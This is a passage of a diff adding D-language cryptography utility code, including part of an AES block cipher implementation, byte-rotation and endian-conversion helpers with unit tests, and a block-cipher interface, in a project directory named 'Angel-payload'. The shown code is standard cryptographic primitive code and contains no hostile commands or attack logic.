assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
}
|
||||
body {
|
||||
uint KC = cast(uint)key.length / 4; // key length in words
|
||||
uint t;
|
||||
|
||||
ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes
|
||||
//uint[][] W = new uint[][](ROUNDS+1,4); // 4 words in a block
|
||||
|
||||
alias workingKey W;
|
||||
|
||||
//
|
||||
// copy the key into the round key array
|
||||
//
|
||||
|
||||
t = 0;
|
||||
uint i = 0;
|
||||
while (i < key.length)
|
||||
{
|
||||
W[t >> 2][t & 3] = (key[i]&0xff) | ((key[i+1]&0xff) << 8) | ((key[i+2]&0xff) << 16) | (key[i+3] << 24);
|
||||
i+=4;
|
||||
t++;
|
||||
}
|
||||
|
||||
//
|
||||
// while not enough round key material calculated
|
||||
// calculate new values
|
||||
//
|
||||
uint k = (ROUNDS + 1) << 2;
|
||||
for (i = KC; (i < k); i++)
|
||||
{
|
||||
int temp = W[(i-1)>>2][(i-1)&3];
|
||||
if ((i % KC) == 0)
|
||||
{
|
||||
temp = subWord(rotateRight(temp, 8)) ^ rcon[(i / KC)-1];
|
||||
}
|
||||
else if ((KC > 6) && ((i % KC) == 4))
|
||||
{
|
||||
temp = subWord(temp);
|
||||
}
|
||||
|
||||
W[i>>2][i&3] = W[(i - KC)>>2][(i-KC)&3] ^ temp;
|
||||
}
|
||||
|
||||
if (!this.state)
|
||||
{
|
||||
for (int j = 1; j < ROUNDS; j++)
|
||||
{
|
||||
for (i = 0; i < 4; i++)
|
||||
{
|
||||
W[j][i] = inv_mcol(W[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void unpackBlock(in ubyte[] bytes) nothrow
|
||||
in {
|
||||
assert(bytes.length == 16, "invalid input length ");
|
||||
}
|
||||
body {
|
||||
C0 = (bytes[0]);
|
||||
C0 |= (bytes[1]) << 8;
|
||||
C0 |= (bytes[2]) << 16;
|
||||
C0 |= bytes[3] << 24;
|
||||
|
||||
|
||||
C1 = (bytes[4]);
|
||||
C1 |= (bytes[5]) << 8;
|
||||
C1 |= (bytes[6]) << 16;
|
||||
C1 |= bytes[7] << 24;
|
||||
|
||||
|
||||
C2 = (bytes[8]);
|
||||
C2 |= (bytes[9]) << 8;
|
||||
C2 |= (bytes[10]) << 16;
|
||||
C2 |= bytes[11] << 24;
|
||||
|
||||
|
||||
C3 = (bytes[12]);
|
||||
C3 |= (bytes[13]) << 8;
|
||||
C3 |= (bytes[14]) << 16;
|
||||
C3 |= bytes[15] << 24;
|
||||
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void packBlock(ubyte[] bytes) nothrow
|
||||
{
|
||||
bytes[0] = cast(ubyte)C0;
|
||||
bytes[1] = cast(ubyte)(C0 >> 8);
|
||||
bytes[2] = cast(ubyte)(C0 >> 16);
|
||||
bytes[3] = cast(ubyte)(C0 >> 24);
|
||||
|
||||
bytes[4] = cast(ubyte)C1;
|
||||
bytes[5] = cast(ubyte)(C1 >> 8);
|
||||
bytes[6] = cast(ubyte)(C1 >> 16);
|
||||
bytes[7] = cast(ubyte)(C1 >> 24);
|
||||
|
||||
bytes[8] = cast(ubyte)C2;
|
||||
bytes[9] = cast(ubyte)(C2 >> 8);
|
||||
bytes[10] = cast(ubyte)(C2 >> 16);
|
||||
bytes[11] = cast(ubyte)(C2 >> 24);
|
||||
|
||||
bytes[12] = cast(ubyte)C3;
|
||||
bytes[13] = cast(ubyte)(C3 >> 8);
|
||||
bytes[14] = cast(ubyte)(C3 >> 16);
|
||||
bytes[15] = cast(ubyte)(C3 >> 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void encryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[0][0];
|
||||
C1 ^= wk[0][1];
|
||||
C2 ^= wk[0][2];
|
||||
C3 ^= wk[0][3];
|
||||
|
||||
r = 1;
|
||||
|
||||
while (r < ROUNDS - 1)
|
||||
{
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255],16) ^ rotateRight(T0[(C3>>24)&255],8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
C0 = T0[r0&255] ^ rotateRight(T0[(r1>>8)&255], 24) ^ rotateRight(T0[(r2>>16)&255], 16) ^ rotateRight(T0[(r3>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = T0[r1&255] ^ rotateRight(T0[(r2>>8)&255], 24) ^ rotateRight(T0[(r3>>16)&255], 16) ^ rotateRight(T0[(r0>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = T0[r2&255] ^ rotateRight(T0[(r3>>8)&255], 24) ^ rotateRight(T0[(r0>>16)&255], 16) ^ rotateRight(T0[(r1>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = T0[r3&255] ^ rotateRight(T0[(r0>>8)&255], 24) ^ rotateRight(T0[(r1>>16)&255], 16) ^ rotateRight(T0[(r2>>24)&255], 8) ^ wk[r++][3];
|
||||
}
|
||||
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255], 16) ^ rotateRight(T0[(C3>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
|
||||
// the final round's table is a simple function of S so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (S[r0&255]) ^ ((S[(r1>>8)&255])<<8) ^ ((S[(r2>>16)&255])<<16) ^ (S[(r3>>24)&255]<<24) ^ wk[r][0];
|
||||
C1 = (S[r1&255]) ^ ((S[(r2>>8)&255])<<8) ^ ((S[(r3>>16)&255])<<16) ^ (S[(r0>>24)&255]<<24) ^ wk[r][1];
|
||||
C2 = (S[r2&255]) ^ ((S[(r3>>8)&255])<<8) ^ ((S[(r0>>16)&255])<<16) ^ (S[(r1>>24)&255]<<24) ^ wk[r][2];
|
||||
C3 = (S[r3&255]) ^ ((S[(r0>>8)&255])<<8) ^ ((S[(r1>>16)&255])<<16) ^ (S[(r2>>24)&255]<<24) ^ wk[r][3];
|
||||
|
||||
}
|
||||
|
||||
@safe @nogc
|
||||
private void decryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[ROUNDS][0];
|
||||
C1 ^= wk[ROUNDS][1];
|
||||
C2 ^= wk[ROUNDS][2];
|
||||
C3 ^= wk[ROUNDS][3];
|
||||
|
||||
r = ROUNDS-1;
|
||||
|
||||
while (r>1)
|
||||
{
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r--][3];
|
||||
C0 = Tinv0[r0&255] ^ rotateRight(Tinv0[(r3>>8)&255], 24) ^ rotateRight(Tinv0[(r2>>16)&255], 16) ^ rotateRight(Tinv0[(r1>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = Tinv0[r1&255] ^ rotateRight(Tinv0[(r0>>8)&255], 24) ^ rotateRight(Tinv0[(r3>>16)&255], 16) ^ rotateRight(Tinv0[(r2>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = Tinv0[r2&255] ^ rotateRight(Tinv0[(r1>>8)&255], 24) ^ rotateRight(Tinv0[(r0>>16)&255], 16) ^ rotateRight(Tinv0[(r3>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = Tinv0[r3&255] ^ rotateRight(Tinv0[(r2>>8)&255], 24) ^ rotateRight(Tinv0[(r1>>16)&255], 16) ^ rotateRight(Tinv0[(r0>>24)&255], 8) ^ wk[r--][3];
|
||||
}
|
||||
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r][3];
|
||||
|
||||
// the final round's table is a simple function of Si so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (Si[r0&255]) ^ ((Si[(r3>>8)&255])<<8) ^ ((Si[(r2>>16)&255])<<16) ^ (Si[(r1>>24)&255]<<24) ^ wk[0][0];
|
||||
C1 = (Si[r1&255]) ^ ((Si[(r0>>8)&255])<<8) ^ ((Si[(r3>>16)&255])<<16) ^ (Si[(r2>>24)&255]<<24) ^ wk[0][1];
|
||||
C2 = (Si[r2&255]) ^ ((Si[(r1>>8)&255])<<8) ^ ((Si[(r0>>16)&255])<<16) ^ (Si[(r3>>24)&255]<<24) ^ wk[0][2];
|
||||
C3 = (Si[r3&255]) ^ ((Si[(r2>>8)&255])<<8) ^ ((Si[(r1>>16)&255])<<16) ^ (Si[(r0>>24)&255]<<24) ^ wk[0][3];
|
||||
}
|
||||
}
|
||||
416
full/Angel-payload/angel/utils/cryptography/bitmanip.d
Normal file
@@ -0,0 +1,416 @@
|
||||
module angel.utils.cryptography.bitmanip;
|
||||
|
||||
import std.traits;
|
||||
///
|
||||
/// This module contains several methods to convert integer types into byte arrays
|
||||
/// and vice versa.
|
||||
///
|
||||
///
|
||||
|
||||
alias rotateLeft rol;
|
||||
alias rotateRight ror;
|
||||
|
||||
/// rot shift to the left
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
|
||||
}
|
||||
|
||||
/// test rotateLeft
|
||||
unittest {
|
||||
ubyte b0 = 0b10000001;
|
||||
ubyte b1 = 0b00000011;
|
||||
ubyte b2 = 0b00000110;
|
||||
ubyte b7 = 0b11000000;
|
||||
|
||||
assert(rotateLeft(b0,0) == b0);
|
||||
assert(rotateLeft(b0,1) == b1);
|
||||
assert(rotateLeft(b0,2) == b2);
|
||||
assert(rotateLeft(b0,7) == b7);
|
||||
assert(rotateLeft(b0,8) == b0);
|
||||
}
|
||||
|
||||
/// rot shift to the right
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
|
||||
}
|
||||
|
||||
/// test rotateRight
|
||||
unittest {
|
||||
ubyte b0 = 0b00000101;
|
||||
ubyte b1 = 0b10000010;
|
||||
ubyte b2 = 0b01000001;
|
||||
ubyte b7 = 0b00001010;
|
||||
|
||||
assert(rotateRight(b0,0) == b0);
|
||||
assert(rotateRight(b0,1) == b1);
|
||||
assert(rotateRight(b0,2) == b2);
|
||||
assert(rotateRight(b0,7) == b7);
|
||||
assert(rotateRight(b0,8) == b0);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integral of type T
|
||||
Params: bs = the big endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n <<= 8;
|
||||
n |= bs[1];
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[2];
|
||||
n <<= 8;
|
||||
n |= bs[3];
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[4];
|
||||
n <<= 8;
|
||||
n |= bs[5];
|
||||
n <<= 8;
|
||||
n |= bs[6];
|
||||
n <<= 8;
|
||||
n |= bs[7];
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integral of type T
|
||||
Params: bs = the little endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n |= cast(T)bs[1] << 8;
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n |= cast(T)bs[2] << 16;
|
||||
n |= cast(T)bs[3] << 24;
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n |= cast(T)bs[4] << 32;
|
||||
n |= cast(T)bs[5] << 40;
|
||||
n |= cast(T)bs[6] << 48;
|
||||
n |= cast(T)bs[7] << 56;
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the big endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// short cut on big endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for little endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the little endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// short cut on little endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for big endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
uint off = 0;
|
||||
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 56);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 48);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 40);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 32);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 24);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 16);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 8);
|
||||
++off;
|
||||
}
|
||||
output[off] = cast (ubyte) (n);
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
output[0] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[1] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[2] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[3] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[4] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[5] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[6] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[7] = cast (ubyte) (n);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns = the numbers
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// shortcut on BigEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toBigEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns the numbers
|
||||
output the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// shortcut on LittleEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toLittleEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toBigEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toBigEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toLittleEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toLittleEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
unittest {
|
||||
|
||||
// int
|
||||
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
|
||||
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
|
||||
|
||||
|
||||
// long
|
||||
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
|
||||
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
|
||||
|
||||
// bigEndian to short, int, long
|
||||
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
|
||||
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
|
||||
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
|
||||
|
||||
// littleEndian to short, int, long
|
||||
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
|
||||
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
|
||||
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
|
||||
|
||||
// bigEndian: convert multiple ints
|
||||
uint[] output = new uint[2];
|
||||
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
|
||||
fromBigEndian(input, output);
|
||||
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
// littleEndian: convert multiple ints
|
||||
output = new uint[2];
|
||||
fromLittleEndian(input, output);
|
||||
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
|
||||
immutable int i = 0xf1f2f3f4;
|
||||
int iResult;
|
||||
ubyte[] buf;
|
||||
|
||||
// int to bigEndian
|
||||
buf = new ubyte[4];
|
||||
toBigEndian!int(i, buf);
|
||||
iResult = fromBigEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[4];
|
||||
toLittleEndian!int(i, buf);
|
||||
iResult = fromLittleEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
|
||||
|
||||
immutable long l = 0xf1f2f3f4f5f6f7f8;
|
||||
long lResult;
|
||||
|
||||
// long to bigEndian
|
||||
buf = new ubyte[8];
|
||||
toBigEndian!long(l, buf);
|
||||
lResult = fromBigEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[8];
|
||||
toLittleEndian!long(l, buf);
|
||||
lResult = fromLittleEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
}
|
||||
191
full/Angel-payload/angel/utils/cryptography/blockcipher.d
Normal file
@@ -0,0 +1,191 @@
|
||||
module angel.utils.cryptography.blockcipher;
|
||||
|
||||
/// Use this to check if type is a block cipher.
|
||||
@safe
|
||||
template isBlockCipher(T)
|
||||
{
|
||||
enum bool isBlockCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = T.init; // Can define
|
||||
string name = T.name;
|
||||
uint blockSize = T.blockSize;
|
||||
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
|
||||
uint len = bc.encrypt(cast (const ubyte[]) block, block);
|
||||
bc.reset();
|
||||
}));
|
||||
}
|
||||
|
||||
/// OOP API for block ciphers
|
||||
@safe
|
||||
public interface IBlockCipher {
|
||||
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* userKey = A secret key.
|
||||
* iv = A nonce.
|
||||
*/
|
||||
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
@nogc
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
@nogc
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
@nogc
|
||||
void reset() nothrow;
|
||||
}
|
||||
|
||||
/// Wraps block ciphers into the OOP API
|
||||
@safe
|
||||
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
|
||||
|
||||
private T cipher;
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* params = the key and other data required by the cipher.
|
||||
*
|
||||
* Throws: IllegalArgumentException if the params argument is
|
||||
* inappropriate.
|
||||
*/
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc {
|
||||
return T.blockSize;
|
||||
}
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.encrypt(input, output);
|
||||
}
|
||||
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
||||
return cipher.decrypt(input, output);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
void reset() nothrow @nogc {
|
||||
cipher.reset();
|
||||
}
|
||||
}
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
import std.format: format;
|
||||
|
||||
